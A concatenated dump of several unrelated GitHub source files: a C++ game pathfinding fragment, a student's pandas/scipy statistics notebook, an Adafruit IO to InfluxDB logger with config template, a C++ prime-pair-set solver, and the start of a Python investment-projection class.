if(xf!=cxdest && yf!=cydest)
{
nxf=cxdest;
nyf=cydest;
}
}
int cPath::NextStep(int *px,int *py,int *cx,int *cy,cEnemy *en)
{
int move=CONTINUE;
int xnext = *px;
int ynext = *py;
RECT r, hr;
switch(dir)
{
case N: ynext-=STEP_LENGTH; break;
case S: ynext+=STEP_LENGTH; break;
case E: xnext+=STEP_LENGTH; break;
case O: xnext-=STEP_LENGTH; break;
case NE:ynext-=STEP_LENGTH; xnext+=STEP_LENGTH; break;
case NO:ynext-=STEP_LENGTH; xnext-=STEP_LENGTH; break;
case SE:ynext+=STEP_LENGTH; xnext+=STEP_LENGTH; break;
case SO:ynext+=STEP_LENGTH; xnext-=STEP_LENGTH; break;
}
SetRect(&r, xnext, ynext, xnext + ENEMY_WIDTH, ynext + ENEMY_HEIGHT);
Game->GetHero()->GetWorldRect(&hr);
if(Game->intersectsWithEnemy(&r, en)
|| Game->intersects(&r, &hr)) return STOP;
*px = xnext;
*py = ynext;
//Calculate next cell
if( (((*px)%TILE_WIDTH)==0) && (((*py)%TILE_WIDTH)==0))
{
x = (*px)>>TILE_W_SHIFT; *cx = x;
y = (*py)>>TILE_W_SHIFT; *cy = y;
if((nxf==-1) && (nyf==-1))
{
move=NextCell();
}
else//if((nxf>=0) || (nyf>=0))
{
AStar->EndPathfinder();
delete AStar;
AStar = NULL;
Make(*cx,*cy,nxf,nyf);
//move=CONTINUE;
}
}
return move;
}
int cPath::NextCell()
{
int ncx,ncy;
if((x==xf)&&(y==yf))
{
AStar->EndPathfinder();
delete AStar;
AStar = NULL;
return ARRIVE;
}
else
{
AStar->NextCell(&ncx,&ncy);
CalcDir(x,y,ncx,ncy);
return CONTINUE;
}
}
int cPath::Faced()
{
return dir;
}
bool cPath::IsDone()
{
return (dir == STOP);
}
void cPath::Done()
{
dir = STOP;
}
void cPath::CalcDir(int x1,int y1,int x2,int y2)
{
int sdx,sdy; //sign movement
sdx=x2-x1;
sdy=y2-y1;
// - Horitzontal
if(sdy==0)
{
if(sdx>0) dir=E;
else dir=O;
}
// - Vertical
else if(sdx==0)
{
if(sdy>0) dir=S;
else dir=N;
}
// - m=dx/dy=1
else if(abs(sdx)==abs(sdy))
{
if(sdx>0)
{
if(sdy>0) dir=SE;
else dir=NE;
}
else
{
if(sdy>0) dir=SO;
else dir=NO;
}
}
}
|
a7109719291d3fb1e3dabfed9405d2b340ad8a89
|
[
"C++"
] | 32
|
C++
|
edufg88/gandhi-prototype
|
947f2c6d8a63421664eb5018d5d01b8da71f46a2
|
0ea3c6a7bbe72b6d382fa76f23c40b4a0280c666
|
refs/heads/main
|
<file_sep>#!/usr/bin/env python
# coding: utf-8
# In[1]:
get_ipython().system('pip install pandas')
# In[3]:
import pandas as pd
# In[1]:
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
# In[6]:
df=pd.read_csv("C:/Users/a8463/Desktop/SG_CA/mba.csv")
# In[7]:
df.head(10)
# In[8]:
df.tail(10)
# In[9]:
df.shape()
# In[10]:
df.shape
# In[18]:
rows=df.shape[0]
col=df.shape[1]
print(rows)
print(col)
# In[20]:
df.columns
# In[21]:
df.axes
# In[22]:
df.dtypes
# In[24]:
df.size
# In[25]:
df.ndim
# In[26]:
df.values
# In[1]:
df.size
# In[2]:
import pandas as pd
df=pd.read_csv("C:/Users/a8463/Desktop/SG_CA/mba.csv")
# In[3]:
df.size
# In[7]:
df.columns
# In[8]:
df.shape
# In[9]:
df.shape[1]
# In[11]:
df.dtypes
# In[12]:
df.shape[0]
# In[13]:
df.describe()
# In[3]:
sal=pd.read_csv("C:\\Users\\a8463\\Desktop\\SG_CA\\Salaries.csv")
# In[4]:
sal.phd.describe()
# In[16]:
sal.phd.count()
# In[26]:
sal.phd.mean()
# In[27]:
sal
# In[29]:
sal.service.mean()
# In[32]:
sal_rank=sal.groupby(['rank'])
# In[34]:
sal_rank=sal.groupby(['rank'])
# In[36]:
sal_rank=sal.groupby.rank()
# In[37]:
sal_rank.mean()
# In[ ]:
sal.groupby()'rank').[['salaty']].mean
# In[5]:
sal_rank=sal.groupby(['rank'])
# In[6]:
sal_rank.mean()
# In[7]:
s_sal=sal.groupby(['salary'])
# In[8]:
s_sal.mean()
# In[9]:
sal_sex=sal.groupby(['sex'])
# In[12]:
sal_sex.count()
# In[16]:
sal.groupby.(rank)[['salary'].mean()
# In[17]:
sal
# In[18]:
sal.groupby('rank')[['salary']].mean()
# In[19]:
sal.groupby('rank')[['salary']].mean()
# In[20]:
sal.groupby('rank')[['salary']].std()
# In[22]:
sal.groupby('rank')[['salary']].describe()
# In[23]:
sal.groupby('sex')[['salary']].mean()
# In[24]:
sal.groupby('sex')[['salary']].describe()
# In[27]:
sal.groupby(['rank']).mean()
# In[28]:
sal.groupby('rank').min()
# In[31]:
sal.groupby(['rank'],sort=False)[['salary']].mean()
# In[32]:
sal[sal['salary']>120000]
# In[35]:
s=sal[sal['salary']>150000]
# In[36]:
s
# In[38]:
sal[sal['salary']>120000][['salary']].count()
# In[51]:
sal[sal['sex']=='Female',sal['salary']>120000].count()
# In[55]:
sal['salary'].skew()
# In[57]:
sal.iloc[3:5,:]
# In[8]:
sal.groupby('sex').count()
# In[9]:
sal.iloc[1:10,:]
# In[14]:
i=[10:20,:]
sal.iloc[i]
# In[15]:
sal.iloc[[0,5],[1,3]]
# In[ ]:
# In[19]:
sal[['phd','salary']].agg('min')
# In[17]:
sal[['phd','salary']].describe()
# In[26]:
import matplotlib.pyplot as plt
get_ipython().run_line_magic('matplotlib', 'inline')
#plt.plot(sal['salary'])
# In[29]:
plt.plot(sal.salary)
# In[30]:
plt.hist(sal.salary)
# In[2]:
import matplotlib.pyplot as plt
get_ipython().run_line_magic('matplotlib', 'inline')
sal.salary.plot(kind='kde')
# In[1]:
import pandas as pd
sal=pd.read_csv("C:\\Users\\a8463\\Desktop\\SG_CA\\Salaries.csv")
# In[4]:
import matplotlib.pyplot as plt
get_ipython().run_line_magic('matplotlib', 'inline')
sal.salary.plot(kind="kde")
# In[5]:
plt.hist(sal.salary)
# In[9]:
print(sal.salary.skew())
print(sal.salary.kurt())
sal.salary.mean()
# In[10]:
plt.boxplot(sal.salary)
# In[11]:
plt.boxplot(sal.salary)
# In[12]:
sal.salary.describe()
# In[15]:
q3=126774.750000
q1=88612.500000
IQR=q3-q1
UF=q3+(1.5*IQR)
LF=q1-(1.5*IQR)
print("IQR=",IQR)
print("UF=",UF)
print("LF=",LF)
# In[20]:
sal[sal.salary>UF]
# In[26]:
plt.figure(figsize=(15,5))
x=[5,4,1]
y=[-3,2,3]
plt.plot(x,y)
# In[43]:
plt.figure(figsize=(15,3))
x=[10,5,-4]
y=[5,3,10]
plt.plot(x,y)
plt.xlim(-5,10)
plt.ylim(1,10)
plt.xlabel('X axis')
plt.ylabel('Y axis')
plt.title('Line Plot')
plt.suptitle('Sales comparision',size=20,y=1.2)
# In[49]:
fig=plt.figure(figsize=(10,5))
plt.plot(x,y)
plt.xlim(-5,10)
plt.ylim(1,10)
plt.xlabel('X axis')
plt.ylabel('Y axis')
plt.title('Line plot')
plt.suptitle('Sales Comparision',size='15',y='1')
# In[50]:
fig.savefig('example.png',dpi=300,bbox_inches='tight')
# In[52]:
fig,ax=plt.subplots(nrows=1,ncols=2,figsize=(10,3))
# In[2]:
from scipy import stats
stats.norm.cdf(70,60,10)
# In[3]:
stats.norm.cdf(680,711,29)
# In[6]:
stats.norm.cdf(740,711,29)-stats.norm.cdf(697,711,29)
# In[7]:
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
get_ipython().run_line_magic('matplotlib', 'inline')
import seaborn as sn
# In[8]:
beml=pd.read_csv("C:\\Users\\a8463\\Desktop\\DS\\BEML.csv")
# In[9]:
glaxo=pd.read_csv("C:\\Users\\a8463\\Desktop\\DS\\GLAXO.csv")
# In[11]:
beml_df=beml[['Date','Close']]
glaxo_df=glaxo[['Date','Close']]
# In[14]:
beml_df=beml_df.set_index(pd.DatetimeIndex(beml_df['Date']))
# In[15]:
glaxo_df=glaxo_df.set_index(pd.DatetimeIndex(glaxo_df['Date']))
# In[16]:
beml_df
# In[17]:
beml_df=beml_df.set_index(pd.DatetimeIndex(beml_df['Date']))
# In[18]:
glaxo_df=glaxo_df.set_index(pd.DatetimeIndex(glaxo_df['Date']))
# In[19]:
beml_df
# In[20]:
glaxo_df
# In[21]:
plt.plot(beml_df['Close'])
plt.xlabel('Time')
plt.ylabel('Close Price')
# In[22]:
plt.plot(glaxo_df['Close'])
plt.xlabel('Time')
plt.ylabel('Close Price')
# In[23]:
beml_df['gain']=beml_df.Close.pct_change(periods=1)
# In[24]:
glaxo_df['gain']=glaxo_df.Close.pct_change(periods=1)
# In[25]:
beml_df
# In[26]:
glaxo_df
# In[27]:
beml_df=beml_df.dropna()
# In[29]:
glaxo_df=glaxo_df.dropna()
# In[30]:
beml_df
# In[31]:
plt.figure(figsize=(15,6))
plt.plot(beml_df.gain)
plt.xlabel('Time')
plt.ylabel('Gain')
# In[33]:
plt.figure(figsize=(15,6))
plt.plot(glaxo_df.gain)
plt.xlabel('Time')
plt.ylabel('Gain')
# In[34]:
sn.distplot(glaxo_df.gain,label='Glaxo')
plt.xlabel('gain')
plt.ylabel('density')
plt.legend()
# In[35]:
glaxo_df.gain.skew()
# In[36]:
sn.distplot(beml_df.gain,label='Beml')
plt.xlabel('gain')
plt.ylabel('density')
plt.legend()
# In[48]:
print('Mean of glaxo:',round(glaxo_df.gain.mean(),4))
print('Standard deveation:',round(glaxo_df.gain.std(),4))
print('Skewness:',glaxo_df.gain.skew())
# In[47]:
print('Mean of BEML:',round(beml_df.gain.mean(),4))
print("Standard deveation:",round(beml_df.gain.std(),4))
print('Skewness:',beml_df.gain.skew())
# In[49]:
#probability of making 2%loss or higherin glaxo
#p(gain<=-0.02)
stats.norm.cdf(-0.02,glaxo_df.gain.mean(),glaxo_df.gain.std())
# In[50]:
#probability of making 2% gain or higher in glaxo
#p(gain>=0.02)
1-stats.norm.cdf(0.02,loc=glaxo_df.gain.mean(),scale=glaxo_df.gain.std())
# In[51]:
#propbability of making 2% loss or higher in BEML
#p(gain<=-0.02)
stats.norm.cdf(-0.02,beml_df.gain.mean(),beml_df.gain.std())
# In[56]:
#probability of making 2% gain or higher in BEML
#p(gain>=0.02)
1-stats.norm.cdf(0.02,beml_df.gain.mean(),beml_df.gain.std())
# In[59]:
X=pd.DataFrame(columns=['Beml_df.gain','Glaxo_df.gain'])
X['Beml_df.gain']=pd.Series(beml_df.gain)
X['Glaxo_df.gain']=pd.Series(glaxo_df.gain)
sn.distplot(X['Beml_df.gain'],label="BEML")
sn.distplot(X['Glaxo_df.gain'],label="Glaxo")
plt.xlabel('Gain')
plt.ylabel('Density')
plt.legend()
# In[8]:
#reading data tables
Beml_df=pd.read_csv("C:\\Users\\a8463\\Desktop\\DS\\BEML.csv")
Glaxo_df=pd.read_csv("C:\\Users\\a8463\\Desktop\\DS\\GLAXO.csv")
#Taking required information from data
Beml_df=Beml_df[['Date','Close']]
Glaxo_df=Glaxo_df[['Date','Close']]
#Sorting by changing the index column as Date
Beml_df=Beml_df.set_index(pd.DatetimeIndex(Beml_df['Date']))
Glaxo_df=Glaxo_df.set_index(pd.DatetimeIndex(Glaxo_df['Date']))
#Calculating gain as a sepearte column
Beml_df['Gain']=Beml_df.Close.pct_change(periods=1)
Glaxo_df['Gain']=Glaxo_df.Close.pct_change(periods=1)
#Plot the gain values of BEML
plt.figure(figsize=(15,6));
plt.plot(Beml_df.Gain,label="BEML");
plt.xlabel("Time");
plt.ylabel('Gain');
plt.legend();
#plot the gain values of Glaxo
plt.figure(figsize=(15,6));
plt.plot(Glaxo_df.Gain,color='r',label='Glaxo');
plt.xlabel('Time');
plt.ylabel('Gain');
plt.legend();
#distribution plot for BEML
plt.figure(figsize=(10,5))
sn.distplot(Beml_df.Gain,label='BEML')
plt.xlabel('Gain')
plt.ylabel('Density')
plt.legend()
#distribution plot for Glaxo
plt.figure(figsize=(10,5))
sn.distplot(Glaxo_df.Gain,color='r',label="Glaxo")
plt.xlabel('Gain')
plt.ylabel('Density')
plt.legend()
#combining the Distribution plots.
plt.figure(figsize=(10,5))
X=pd.DataFrame(columns=['Beml_df.Gain','Glaxo_df.Gain'])
X['Beml_df.Gain']=pd.Series(Beml_df.Gain)
X['Glaxo_df.Gain']=pd.Series(Glaxo_df.Gain)
sn.distplot(X['Beml_df.Gain'],label='BEML')
sn.distplot(X['Glaxo_df.Gain'],label='Glaxo')
plt.xlabel('Gain')
plt.ylabel('Density')
plt.legend()
#Calculating Mean,Std,Skewness for BEML
print("Mean of BEML:",Beml_df.Gain.mean())
print("Std of BEML:",Beml_df.Gain.std())
print("Skewness of BEML:",Beml_df.Gain.skew())
#Calculating Mean,Std,Skewness for Glaxo
print("Mean of Glaxo:",Glaxo_df.Gain.mean())
print("Std of Glaxo:",Glaxo_df.Gain.std())
print("Skewness of Glaxo:",Glaxo_df.Gain.skew())
#Probability of making 2% of loss or higher in BEML and Glaxo
#p(Gain<=-0.02)
print('2% of loss or higher in BEML:',stats.norm.cdf(-0.02,loc=Beml_df.Gain.mean(),scale=Beml_df.Gain.std()))
print('2% of loss or higher in Glaxo:',stats.norm.cdf(-0.02,loc=Glaxo_df.Gain.mean(),scale=Glaxo_df.Gain.std()))
#Probability of making 2% of gain or higher in BEML and Glaxo
#p(Gain>=0.02)
print('2% of gain or higher in BEML:',1-stats.norm.cdf(0.02,loc=Beml_df.Gain.mean(),scale=Beml_df.Gain.std()))
print('2% of gain or higher in Glaxo:',1-stats.norm.cdf(0.02,loc=Glaxo_df.Gain.mean(),scale=Glaxo_df.Gain.std()))
#Gain at 95% confident interval in BEML
Beml_df_ci=stats.norm.interval(0.95,loc=Beml_df.Gain.mean(),scale=Beml_df.Gain.std()/np.sqrt(len(Beml_df.Gain)))
print('Gain at 95% interval in BEML is:',np.round(Beml_df_ci,4))
#Gain at 95% inerval in Glaxo
Glaxo_df_ci=stats.norm.interval(0.95,loc=Glaxo_df.Gain.mean(),scale=Glaxo_df.Gain.std()/np.sqrt(len(Glaxo_df.Gain)))
print('Gain at 95% interval in Glaxo is:',np.round(Glaxo_df_ci,4))
# In[2]:
import pandas as pd
import numpy as np
from scipy import stats
import seaborn as sn
import matplotlib.pyplot as plt
get_ipython().run_line_magic('matplotlib', 'inline')
# In[ ]:
#C.I=X+-z(1-alpha)sigma/sqrt(n)
# In[99]:
stats.norm.ppf(0.95)
# In[9]:
stats.norm.interval(0.95,1990,211.29)
# In[10]:
stats.t.interval(0.95,139,1990,211.29)
# In[11]:
stats.norm.ppf(0.975)
# In[12]:
stats.t.ppf(0.975,139)
# In[14]:
stderror=2800/np.sqrt(140)
stats.t.interval(0.95,139,1990,stderror)
# In[15]:
mba_df=pd.read_csv("C:\\Users\\a8463\\Desktop\\DS\\mba.csv")
# In[17]:
mba_df.head()
# In[18]:
mba_df.describe()
# In[21]:
mba_df.shape[1]
# In[25]:
workex_df_ci=stats.norm.interval(0.95,loc=mba_df.workex.mean(),scale=mba_df.workex.std()/np.sqrt(len(mba_df.workex)))
print(np.round(workex_df_ci,4))
# In[26]:
gmat_df_ci=stats.norm.interval(0.90,loc=mba_df.gmat.mean(),scale=mba_df.gmat.std()/np.sqrt(len(mba_df.gmat)))
print(np.round(gmat_df_ci,4))
# In[36]:
from scipy import stats
import numpy as np
avg_weight_audult_ci1=stats.norm.interval(0.94,200,30/np.sqrt(2000))
print('Average weight of an adult male at 94% confidence interval is:',np.round(avg_weight_audult_ci1,4))
avg_weight_audult_ci2=stats.norm.interval(0.98,200,30/np.sqrt(2000))
print('Average weight of an adult male at 98% confidence interval is:',np.round(avg_weight_audult_ci2,4))
avg_weight_audult_ci3=stats.norm.interval(0.96,200,30/np.sqrt(2000))
print('Average weight of an adult male at 96% confidence interval is:',np.round(avg_weight_audult_ci3,4))
# In[64]:
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
get_ipython().run_line_magic('matplotlib', 'inline')
Test_scores=pd.Series([34,36,36,38,38,39,39,40,40,41,41,41,41,42,42,45,49,56])
print('Mean of the test scores:',Test_scores.mean())
print('Meadian of the test scores:',Test_scores.median())
print('Variance of the test scores:',Test_scores.var())
print('Std of the test scores:',Test_scores.std())
# In[65]:
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
get_ipython().run_line_magic('matplotlib', 'inline')
Test_scores=pd.Series([34,36,36,38,38,39,39,40,40,41,41,41,41,42,42,45,49,56])
plt.boxplot(Test_scores)
# In[68]:
cars=pd.read_csv("C:\\Users\\a8463\\Desktop\\DS\\cars.csv")
cars.head()
# In[70]:
cars.MPG.mean()
cars.MPG.std()
# In[ ]:
# In[87]:
import pandas as pd
from scipy import stats
cars=pd.read_csv("C:\\Users\\a8463\\Desktop\\DS\\cars.csv")
#P(MPG>38)
print('P(MPG>38):',np.round(1-stats.norm.cdf(38,
loc=cars.MPG.mean(),
scale=cars.MPG.std()),4))
#P(MPG<40)
print('P(MPG<40)',np.round(stats.norm.cdf(40,
loc=cars.MPG.mean(),
scale=cars.MPG.std()),4))
#P(20<MPG<50)
print('P(20<MPG<50)',np.round(stats.norm.cdf(50,
loc=cars.MPG.mean(),
scale=cars.MPG.std())-stats.norm.cdf(20,
loc=cars.MPG.mean(),
scale=cars.MPG.std()),4))
# In[7]:
import pandas as pd
import numpy as np
from scipy import stats
import matplotlib.pyplot as plt
get_ipython().run_line_magic('matplotlib', 'inline')
import seaborn as sn
cars=pd.read_csv("C:\\Users\\a8463\\Desktop\\DS\\cars.csv")
print('Mean of Cars.MPG:',cars.MPG.mean())
print('Median of Cars.MPG:',cars.MPG.median())
#Distplot
sn.distplot(cars.MPG,label='Cars.MPG')
plt.xlabel('MPG')
plt.ylabel('Density')
plt.legend()
# In[18]:
import pandas as pd
import numpy as np
from scipy import stats
import matplotlib.pyplot as plt
get_ipython().run_line_magic('matplotlib', 'inline')
import seaborn as sn
wc_at=pd.read_csv("C:\\Users\\a8463\\Desktop\\DS\\wc-at.csv")
print('Mean of wc_at of Waist is:',wc_at.Waist.mean())
print('Mean of wc_at of AT is:',wc_at.AT.mean())
print('Median of wc_at of Wait is:',wc_at.Waist.median())
print('Median of wc_at of AT is:',wc_at.AT.median())
#Dist plots of Waist
plt.figure(figsize=(8,4))
sn.distplot(wc_at.Waist,label='Waist')
plt.xlabel('Waist')
plt.ylabel('Density')
plt.legend()
#Dist plots of AT
plt.figure(figsize=(8,4))
sn.distplot(wc_at.AT,label='AT')
plt.xlabel('AT')
plt.ylabel('Density')
plt.legend()
# In[12]:
#Calculating Z scores for CI 90%,94%,60%
import numpy as np
from scipy import stats
print('Z score at CI 90%:',np.round(stats.norm.ppf(0.95),4))
print('Z score at CI 94%:',np.round(stats.norm.ppf(0.97),4))
print('Z score at CI 60%:',np.round(stats.norm.ppf(0.80),4))
# In[20]:
#Calculating t scores at CI 95%,96%,99% and the sample size is 25
import numpy as np
from scipy import stats
print('t score at CI 95%:',np.round(stats.t.ppf(0.975,24),5))
print('t score at CI 96%:',np.round(stats.t.ppf(0.98,24),5))
print('t score at CI 98%:',np.round(stats.t.ppf(0.99,24),5))
# In[ ]:
population mean=270
smaple size(n)=18
sample mean=260
sample std=90
p(x>=260)=?
df=n-1=17
#when Population std unknown
t=(s_mean)-(pop_mean)/(s_std/sqrt(n))
# In[32]:
from scipy import stats
import numpy as np
t=(260-270)/(90/np.sqrt(18))
print("t is:",t)
p_value=1-stats.t.cdf(0.4714,17)
print('p(x>=260):',p_value)
# In[ ]:
Pop Mean=4.0
Standard Deviation=3
Sample size=50
sample mean=4.6
z=X-mue/Sigma
# In[9]:
from scipy import stats
z=(4.6-4)/3
z_value=2*(1-stats.norm.cdf(z))
print(z)
print(z_value)
# In[21]:
z=(5.3-4)/3
print(z)
p=2*(1-stats.norm.cdf(3.06))
p
|
84acc66fda4e1f9481ec28fb1ae6c0bf167962f7
|
[
"Python"
] | 1
|
Python
|
YSureshKumar1993/DS
|
7b2b2e15de3083f0a97e500842724c89a70e2fdc
|
cfa9a350681edcbc021851e84dcea2e670c4dd74
|
refs/heads/master
|
<file_sep># influx-adafruit-io<file_sep>import configparser
import requests
#import urllib2
import json
import time
from influxdb import InfluxDBClient
from influxdb.exceptions import InfluxDBClientError, InfluxDBServerError
from requests.exceptions import ConnectionError
from Adafruit_IO import Client
config = configparser.ConfigParser()
config.read('config.ini')
delay = float(config['GENERAL']['Delay'])
output = config['GENERAL'].get('Output', fallback=True)
influxAddress = config['INFLUXDB']['Address']
influxPort = config['INFLUXDB']['Port']
influxDatabase = config['INFLUXDB']['Database']
influxUser = config['INFLUXDB'].get('Username', fallback='')
influxPassword = config['INFLUXDB'].get('Password', fallback='')
adafruitapikey = config['ADAFRUIT']['APIKey']
#Feeds = config['ADAFRUIT']['Feeds']
Feeds = json.loads(config['ADAFRUIT'].get('Feeds'))
aio = Client(adafruitapikey)
influx_client = InfluxDBClient(influxAddress, influxPort, influxUser, influxPassword, influxDatabase)
def getAdafruitData():
data_list = []
listFeeds = aio.feeds()
for iofeed in listFeeds:
for inifeed in Feeds:
if inifeed == iofeed.key:
data = aio.receive(inifeed)
data_list.append(formatData(data, inifeed))
return data_list
def formatData(data, inifeed):
json_body = [
{
"measurement": "adafruit",
"tags": {
"feed": inifeed
},
"time": data.created_at,
"fields": {
"value": data.value
}
}
]
return json_body
def sendInfluxData(json_data):
#if output:
#print(json_data)
#print(type(json_data))
try:
influx_client.write_points(json_data)
except (InfluxDBClientError, ConnectionError, InfluxDBServerError) as e:
if hasattr(e, 'code') and e.code == 404:
print('Database {} Does Not Exist. Attempting To Create'.format(influxDatabase))
influx_client.create_database(influxDatabase)
influx_client.write_points(json_data)
return
print('ERROR: Failed To Write To InfluxDB')
print(e)
if output:
print('Written To Influx: {}'.format(json_data))
def main():
while True:
adafruitData = getAdafruitData()
for feed in adafruitData:
sendInfluxData(feed)
time.sleep(delay)
if __name__ == '__main__':
main()
<file_sep>[GENERAL]
Delay = 300
Output = False
[INFLUXDB]
Address =
Port = 8086
Database =
Username =
Password =
[ADAFRUIT]
APIKey =
Feeds: ["feed1","feed2"]
|
e46195e4f53f112249cd378bd55cdb1f7d1f7dec
|
[
"Markdown",
"Python",
"INI"
] | 3
|
Markdown
|
HaywardPeirce/influx-adafruit-io
|
93bc002a893d02eec2e096beb9215f0ffbbb1031
|
e68b41fbd5ee82e4e7d5fe3da5da6398a886fe5e
|
refs/heads/master
|
<repo_name>martin-bobek/PrimePairSets<file_sep>/Source.cpp
#include <algorithm>
#include <chrono>
#include <iostream>
#include <limits>
#include <memory>
#include <set>
#include <tuple>
#include <vector>
class TupleSet;
class MinTuple;
typedef std::unique_ptr<TupleSet> pTupleSet;
template<size_t N>
class Pow10 {
public:
constexpr Pow10() : arr() {
for (size_t i = 0, pow = 1; i <= N; i++, pow *= 10) {
arr[i] = pow;
}
}
constexpr size_t operator()(size_t exp) const { return arr[exp]; }
private:
size_t arr[N + 1];
};
constexpr Pow10<19> pow10;
std::tuple<MinTuple, size_t> findMinTuple(size_t n);
struct Prime {
public:
Prime(size_t prime) : value(prime), digits(numDigits(prime)) {}
const size_t value;
const size_t digits;
private:
static size_t numDigits(size_t prime);
};
class PrimeGen {
public:
bool operator[](size_t num);
private:
void extend(size_t min);
std::vector<bool> sieve = std::vector<bool>(1, true);
};
class PrimeTuple {
public:
PrimeTuple() : tuple() {}
PrimeTuple(std::vector<size_t> &&tuple) : tuple(std::move(tuple)) {}
size_t Sum() const;
PrimeTuple SimilarTuple(size_t dropIndex, size_t newPrime) const;
PrimeTuple Extend(size_t newPrime) const;
size_t operator[](size_t index) const { return tuple[index]; }
size_t Size() const { return tuple.size(); }
struct Compare {
bool operator()(const PrimeTuple &first, const PrimeTuple &second) const;
};
friend std::ostream &operator<<(std::ostream &os, const PrimeTuple &tuple);
private:
std::vector<size_t> tuple;
};
class ITupleForward {
public:
virtual ~ITupleForward() = 0 {}
virtual size_t insert(PrimeTuple &&tuple) = 0;
};
class TupleSet : public ITupleForward {
public:
TupleSet(size_t tupleSize, ITupleForward *forward) : tupleSize(tupleSize), forward(forward) {}
~TupleSet() = default;
size_t insert(PrimeTuple &&tuple);
static bool ValidPair(Prime first, Prime second, PrimeGen &primes);
private:
const size_t tupleSize;
ITupleForward *const forward;
std::set<PrimeTuple, PrimeTuple::Compare> set;
};
class MinTuple : public ITupleForward {
public:
~MinTuple() = default;
size_t insert(PrimeTuple &&tuple);
friend std::ostream &operator<<(std::ostream &os, const MinTuple &tuple);
private:
PrimeTuple minTuple;
};
int main() {
size_t n;
std::cout << "n: ";
std::cin >> n;
if (n <= 2) {
std::cerr << "Invalid input!" << std::endl;
system("pause");
return 1;
}
std::cout << "Searching..." << std::endl;
auto start = std::chrono::steady_clock::now();
auto[minTuple, sum] = findMinTuple(n);
auto end = std::chrono::steady_clock::now();
size_t duration = std::chrono::duration_cast<std::chrono::milliseconds>(end - start).count();
std::cout << "\nMinimum Sum: " << sum << std::endl;
std::cout << "Tuple: " << minTuple << std::endl;
std::cout << "Execution time: " << duration / 1000.0 << "s\n" << std::endl;
system("pause");
}
std::tuple<MinTuple, size_t> findMinTuple(size_t n) {
PrimeGen sieve;
std::vector<Prime> primes;
std::vector<pTupleSet> tupleSets;
MinTuple minTuple;
tupleSets.reserve(n - 2);
tupleSets.emplace_back(new TupleSet(n - 1, &minTuple));
for (size_t i = 1; i < n - 2; i++)
tupleSets.emplace_back(new TupleSet(n - i - 1, tupleSets[i - 1].get()));
size_t testNum = 1, minSum = std::numeric_limits<size_t>::max();
while (true) {
do {
testNum += 2;
} while (!sieve[testNum]);
if (testNum >= minSum)
break;
Prime prime(testNum);
primes.push_back(prime);
for (size_t i = primes.size() - 1; 0 < i--;)
if (TupleSet::ValidPair(primes[i], prime, sieve))
minSum = tupleSets.back()->insert(PrimeTuple({ primes[i].value, testNum }));
}
return { minTuple, minSum };
}
size_t MinTuple::insert(PrimeTuple &&tuple) {
if (minTuple.Size() == 0 || tuple.Sum() < minTuple.Sum())
minTuple = std::move(tuple);
return minTuple.Sum();
}
std::ostream &operator<<(std::ostream &os, const MinTuple &tuple) {
return os << tuple.minTuple;
}
bool TupleSet::ValidPair(Prime first, Prime second, PrimeGen &primes) {
return primes[first.value + pow10(first.digits) * second.value] &&
primes[second.value + pow10(second.digits) * first.value];
}
size_t TupleSet::insert(PrimeTuple &&tuple) {
size_t minSum = std::numeric_limits<size_t>::max();
auto fIter = set.insert(std::move(tuple)).first;
const PrimeTuple &insertedTuple = *fIter;
for (auto rIter = std::make_reverse_iterator(fIter); rIter != set.rend() && (*rIter)[0] == insertedTuple[0]; rIter++) {
size_t i;
for (i = 0; i < tupleSize - 1; i++)
if (set.find(rIter->SimilarTuple(i, insertedTuple[tupleSize - 1])) == set.end())
break;
if (i == tupleSize - 1) {
size_t currentSum = forward->insert(rIter->Extend(insertedTuple[tupleSize - 1]));
if (currentSum < minSum)
minSum = currentSum;
}
}
return minSum;
}
size_t PrimeTuple::Sum() const {
size_t sum = 0;
for (size_t prime : tuple)
sum += prime;
return sum;
}
PrimeTuple PrimeTuple::SimilarTuple(size_t dropIndex, size_t newPrime) const {
std::vector<size_t> similar(tuple);
similar.erase(similar.begin() + dropIndex);
similar.push_back(newPrime);
return similar;
}
PrimeTuple PrimeTuple::Extend(size_t newPrime) const {
std::vector<size_t> extended(tuple);
extended.push_back(newPrime);
return extended;
}
bool PrimeTuple::Compare::operator()(const PrimeTuple &first, const PrimeTuple &second) const {
for (size_t i = 0; i < first.Size(); i++) {
if (first[i] < second[i])
return true;
if (first[i] > second[i])
return false;
}
return false;
}
std::ostream &operator<<(std::ostream &os, const PrimeTuple &tuple) {
os << '(';
for (size_t i = 0;;) {
os << tuple.tuple[i];
if (++i == tuple.tuple.size())
break;
os << ',';
}
return os << ')';
}
bool PrimeGen::operator[](size_t num) {
if (num / 2 >= sieve.size())
extend(num / 2);
return !sieve[num / 2];
}
void PrimeGen::extend(size_t min) {
size_t oldSize = sieve.size();
sieve.resize(min + 1);
sieve.resize(sieve.capacity());
for (size_t i = 1; i < oldSize; i++) {
if (sieve[i])
continue;
size_t j = std::max(2 * i * (i + 1), i + oldSize - 1 - (oldSize - 1) % (2 * i + 1));
if (j >= sieve.size())
break;
for (; j < sieve.size(); j += 2 * i + 1)
sieve[j] = true;
}
for (size_t i = oldSize; ; i++) {
if (sieve[i])
continue;
size_t j = 2 * i * (i + 1);
if (j > sieve.size())
break;
for (; j < sieve.size(); j += 2 * i + 1)
sieve[j] = true;
}
}
size_t Prime::numDigits(size_t prime) {
size_t digits;
for (digits = 0; prime != 0; prime /= 10, digits++);
return digits;
}
|
e24ffe723f4cd89b24e0e73988fc6e7019b2a031
|
[
"C++"
] | 1
|
C++
|
martin-bobek/PrimePairSets
|
64beac81f702a2278074f7e0e15108b7e89ed9dc
|
0e3337881eda5e64a25763198591b661b262d2ee
|
refs/heads/master
|
<file_sep>import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
#from .Expense import Expense
class Investment_Snapshot:
def __init__(self,
annual_taxable_income,
current_investments,
expected_pct_dividends,
min_living_cost,
filing_status='single'
):
"""
Overview of current investment/income situation for calculated projections of income and investment
Args:
annual_taxable_income (float) Income of all contributing individuals before tax
current_investments (float) total of current investments
expected_pct_dividends (float) average expected pct yield from present and future investments (decimal)
min_living_cost (float) minimum annual new income user will accept living on
filing_status (str) tax filing status (default 'single')
- ['single', 'mfj', 'mfs', 'hoh'] - mfj = married, filing jointly, mfs = married, filing separately, hoh = head of household
"""
self.income = annual_taxable_income
self.current_investments = current_investments
self.expected_pct_dividends = expected_pct_dividends
